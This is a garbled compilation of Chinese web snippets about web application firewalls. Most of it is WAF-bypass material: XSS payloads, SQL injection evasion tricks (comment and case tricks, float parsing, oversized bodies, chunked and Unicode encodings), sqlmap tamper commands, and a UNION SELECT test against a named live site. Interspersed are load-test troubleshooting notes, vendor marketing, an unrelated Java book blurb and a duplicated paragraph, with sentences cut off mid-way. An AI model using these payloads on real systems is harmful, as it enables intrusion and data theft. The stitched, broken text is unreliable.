91.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,定位是WAF的问题。 从CLB压过去没有任何问题,但是经过WAF之后,出现掉坑现象,所以一开始就怀疑是WAF限频问题,询问了WAF的同学是不是触发了什么策略。 92.png WAF的同学查看告警模块,发现触发了ipset封堵策略。 19:30:20开始出现掉坑 ,然后出现WAF ipset封堵策略告警,时间是刚好对应的上。 93.png 让WAF的同学对其加白,问题得以解决。 95.png 【总结】 首先要确定压测链路是什么。 一步一步缩小压测环节,快速定位问题。 然后根据波形图进行合理猜测。
名称: Cloudflare 有效负载: <a"/onclick=(confirm)()>click 绕过技术:非空白填充
成功找到一个sql注入 手工测试,发现有waf 此刻我们过一波waf 首先burp抓包 改成post型 ? ? 此刻是post型 复制出来 ? 到这里就差不多了 修复方式: 对get,post,cookie传递过来的值过滤对一些sql语句关键字过滤or and && select if () union from等再加个云waf
对于只看宏观文章,没有实战的演练,无疑是很好的案例。 三、具体实现 本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php? id=123’ UnIoN SeLeCt 发现被waf拦截。下面再次尝试bypass。 ? FrOm Information_schema— - 这里被waf拦截。 如图所示:oh shit….依然被waf拦截。 ? 接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。 本人也在学习和搜集关于oracle的一些绕过waf技巧,有感兴趣的可以互相学习,探讨。
环境:apache+php+mysql(使用的phpstudy的集成环境) 最新版安全狗:刚从官网下载来的 注入点: 常规的and 1=1判断测试: 被拦截,用/**/代替空格:成功绕过 http:/
软件WAF: 主要通过访问速度、指纹识别等特征进行拦截,软件WAF侧重拦截WEB漏洞。 主要有安全狗、云锁等 硬件WAF: 主流防御流量和部分WEB攻击,常见硬件WAF如天融信、启明星辰、深信服、安恒等。 云WAF: 如阿里云等。 WAF部署在哪里 在测试的过程中我们要知道WAF一般主要是部署在那个节点,这对我们绕过WAF时有很大帮助。 通过下图我们可以大概了解: 绕WAF的理解 在我自己看来,所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。 实战常遇技巧 当你发现这些姿势都不好使的时候,你就该去发现一些新的特性了,毕竟设计WAF的选手都是基于目前的认知下去设计的,当新的特性出现的时候,势必又是一波bypass。
从回包的状态码403和Server值可以判断是被Waf拦截了。 那么这时如果我们想要绕Waf的话,就要去思考它对应的正则匹配的规则可能存在的情况了: 1.匹配script 2.匹配alert 3.匹配<.*? 那就再简单猜测一下对应的Waf规则吧: 1.匹配onerror= 2.匹配alert(.*?) 3.匹配on.*?=alert(.*?) 4.匹配on.*?=.*?alert(.*?) 也无需测试都会被Waf拦截。
id=26-p id --tamper=space2comment,equaltolike,between --current-db --random-agent 检测显示存在 WAF: 不管它,让它继续检测
文章来源 https://shellbr3ak.medium.com/xss-waf-bypass-128e8b4167fb 在一次测试中,遇到一个可以利用 XSS 的点,但是存在 BIG-IP ASM 可以看到被 WAF 拦截。 0x02 WAF 绕过 在这个点上测试了一天都没能绕过,在以为专注 WAF 绕过研究的大神帮助下,发现一个可用的 Payload,长下面的样子: []["\146\151\154\164\145\162 总结 以上是这次针对存在 waf 的 xss 漏洞接口的绕过测试过程,通过一些 JavaScript 的特性,通过字符串变化、编码等方式组合 payload 从而实现 waf 的绕过,waf 通常是通过正则来进行检测和拦截 ,如果你找到了目标 waf 规则之外的方式,那么,恭喜你,waf 对你无用。
WAF全称叫Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对web请求/响应进行防护。那么WAF有什么功能呢? 防火墙都是防御性的产品,有防就有攻,要了解WAF有什么功能,就要从攻击者的角度去思考。 攻击的目的要么是为了利益,要么是为了炫技。目前攻击者大多都是闷声发大财,很少会为了炫技而惹上麻烦。
摘要 本文深入解析SQL注入攻击的原理与危害,结合腾讯云Web应用防火墙(WAF)的核心能力,提供从基础防护到高级防御的完整解决方案。 腾讯云WAF凭借AI+规则双引擎、全量日志分析和30线BGP防护等特性,成为拦截SQL注入的标杆方案。 攻击类型 案例描述 损失规模 数据泄露 电商平台用户信息遭窃取 2.3亿美元赔偿 系统破坏 金融系统数据库被清空 业务停摆72小时 后门植入 政府网站植入WebShell 持续3个月数据篡改 二、腾讯云WAF XSS等25种攻击类型检测 拦截90%基础攻击 CC策略 设置管理后台路径QPS阈值≤10次/分钟 阻断自动化扫描 2.高级防御策略 场景化规则配置示例: # 阻断含危险函数的SQL注入(参考腾讯云WAF 规则库) if "UNION SELECT" in request.GET and "information_schema" in request.GET: trigger_waf_block(
{}:union select {``1},{x 2}•可利用数学运算以及数据类型: union select usename,2.0from admin union select username,8e0from 超大数据包绕过 绕过原理 资源限制:WAF长度资源限制 假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。 ,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。 所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。 /1999/xhtml"> <head runat="server"> <meta http-equiv="Content-Type" content="text/html; charset=utf-<em>8</em>"
38.png 39.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,排除了 40.png 找了运维同学查看WAF设置,发现QPS被限制在10万左右,需要升级套餐。 41.png 把QPS套餐升级到23.5万,问题得以解决。
#CDN%E7%9A%84%E7%BB%95%E8%BF%87 利用同网段绕过 一些在云服务商的站点,同时使用云服务商提供的WAF服务。 23\r\n This is the data in the first chunk\r\n 1A\r\n and this is the second one\r\n 3\r\n con\r\n 8\ Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143 字符 Unicode编码 a %u0000 %u0041 %u0061 %u00aa %u00e2 单引号 %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 空白 %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0 左括号( %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8
黑盒绕过 架构层绕过 WAF 寻找源站(针对云 WAF) 利用同网段(绕过防护区域:例如WAF部署在同一网段的出口,使用网段的主机进行攻击,流量不经过WAF 。) 2 函数分割符号 concat%2520() concat/**/() concat%250c() concat%250() 浮点数词法解析 select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9.0 利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略 MYSQL1nigth Oselect{x table_name}from{x information_schema.tables}; Fuzz绕过 上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破
WAF也是防火墙,那么它应该是部署在哪里呢?在部署上,它和传统防火墙有什么区别呢? 传统防火墙处理的消息格式大多是格式化,基本上内容都是固定或者索引方式。 而WAF处理的消息是文本,是非格式化消息,都是可变的。在处理这两种不同的消息格式,在性能上的消耗相差非常大。
本书全面介绍了Java 8 这个里程碑版本的新特性,包括Lambdas、流和函数式编程。有了函数式的编程特性,可以让代码更简洁,同时也能自动化地利用多核硬件。 全书分四个部分:基础知识、函数式数据处理、高效Java 8 编程和超越Java 8,清晰明了地向读者展现了一幅Java 与时俱进的现代化画卷。
图片来源于网络 通过标题,您可能会知道这是有关使用UNICODE进行 XSS WAF绕过的文章。因此,让我们给你一个关于我正在测试的应用程序的小想法。 因此,存在WAF。 为了绕开它,我开始模糊测试,结果是: xss \" onclick= \" alert(1) ==> WAF xss \" xss = \" alert(1) ==> WAF xss 因此,我们唯一的方法是绕过WAF 在标记中使用事件属性。我尝试通过fuzzdb使用html-event-attributes.txt 进行暴力破解。 以看看是否有事件没有被WAF阻止然而并没有什么有值得关注的。 然后我考虑了一下进行unicode编码,输入了一个随机的unicode看看它在响应中是否解码。
nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? 显示payload, 看看是哪句被拦截了 sqlmap -u "http://www.xxx.com? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字
nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? 显示payload, 看看是哪句被拦截了 sqlmap -u "http://www.xxx.com? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字